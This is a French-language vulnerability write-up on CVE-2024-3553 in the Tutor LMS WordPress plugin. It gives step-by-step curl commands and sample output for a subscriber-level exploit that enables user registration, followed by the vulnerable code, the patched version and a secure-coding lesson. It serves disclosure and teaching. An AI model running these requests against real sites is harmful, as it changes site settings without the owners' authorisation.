
CVE-2024-3553 : Tutor LMS <= 2.6.2 - Vulnérabilité d'autorisation manquante permettant à des attaquants authentifiés d'activer l'inscription des utilisateurs
Le plugin Tutor LMS – solution eLearning et de cours en ligne pour WordPress est vulnérable à une modification non autorisée des données en raison d'une vérification de capacité manquante sur la fonction hide_notices() dans toutes les versions jusqu'à la 2.6.2 incluse. Cela permet à des attaquants authentifiés (y compris des utilisateurs à faibles privilèges comme les abonnés) d'activer l'inscription des utilisateurs sur des sites où elle a été désactivée par les administrateurs.
Un exploit Python complet est disponible : exploit-cve-2024-3553-v2.py
# Exploitation automatisée complète
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123
# Vérification du statut d'inscription uniquement
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only
Prérequis :
Étape 1 : Connexion en tant qu'utilisateur à faibles privilèges
# Connexion en tant qu'abonné ou tout utilisateur authentifié
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
https://target.com/wp-login.php
Étape 2 : Extraction du nonce depuis la zone d'administration
# Tout utilisateur authentifié peut accéder à /wp-admin/ (même les abonnés)
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1
Étape 3 : Exécution de l'exploit
# Envoi de la requête pour activer l'inscription des utilisateurs
curl -b cookies.txt \
"https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"
Étape 4 : Vérification du succès
# Vérifier si l'inscription est maintenant activée
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "Registration ENABLED" || echo "Registration DISABLED"
# En tant qu'utilisateur authentifié, visitez simplement :
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>
======================================================================
CVE-2024-3553 Exploit - Tutor LMS Absence d'autorisation
Cible : https://target.com
======================================================================
[*] Vérification du statut actuel de l'inscription...
[+] L'inscription est actuellement DÉSACTIVÉE
[*] Tentative de connexion en tant que : abonné
[+] Connexion réussie en tant que : abonné
[*] Étape 2 : Extraction du nonce depuis la zone d'administration...
[+] Nonce trouvé : abc123def456
[*] Étape 3 : Exécution de l'exploit pour activer l'inscription des utilisateurs...
[*] Cible : https://target.com
[*] Utilisation du nonce : abc123def456
[*] URL de l'exploit : https://target.com/wp-admin/index.php
[*] Paramètres : {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] Statut de la réponse : 200
[+] Requête d'exploit envoyée avec succès !
[*] Étape 4 : Vérification du succès de l'exploitation...
[+] L'inscription est actuellement ACTIVÉE
======================================================================
[!] EXPLOITATION RÉUSSIE !
[!] L'inscription des utilisateurs est maintenant ACTIVÉE
[!]
[!] Impact : Un attaquant avec un compte à faibles privilèges (abonné)
[!] a pu activer l'inscription des utilisateurs sur un site où elle était
[!] désactivée. Cela pourrait permettre la création de comptes supplémentaires,
[!] pouvant potentiellement mener à du spam ou à un accès non autorisé.
======================================================================
Fichier : /classes/User.php (Lignes ~800-815)
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
// DÉFAUT CRITIQUE : is_admin() vérifie uniquement si on est dans la zone admin, PAS le rôle utilisateur !
if ( is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
// AUCUNE VÉRIFICATION DE CAPACITÉ - Tout utilisateur authentifié peut exécuter ceci !
update_option( 'users_can_register', 1 );
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
Points clés de la vulnérabilité :
is_admin() vérifie uniquement que la requête est destinée à une page d'administration, PAS que l'utilisateur est un administrateur/wp-admin/ (même les abonnés)current_user_can('manage_options')users_can_registerFichier : /classes/User.php (Version corrigée)
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
// CORRECTIF DE SÉCURITÉ : Vérification de capacité ajoutée
$has_manage_cap = current_user_can( 'manage_options' );
if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
update_option( 'users_can_register', 1 ); // Maintenant correctement protégé
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
Le correctif ajoute current_user_can('manage_options') pour vérifier que l'utilisateur possède les privilèges d'administrateur avant d'autoriser la mise à jour de l'option.
Cette vulnérabilité démontre une mécompréhension critique des fonctions d'autorisation de WordPress :
FAUX ❌ :
if ( is_admin() ) {
// En pensant que cela signifie 'l'utilisateur est un admin'
update_option( 'sensitive_option', $value );
}
CORRECT ✅ :
if ( current_user_can( 'manage_options' ) ) {
// Vérifie effectivement si l'utilisateur a des capacités d'admin
update_option( 'sensitive_option', $value );
}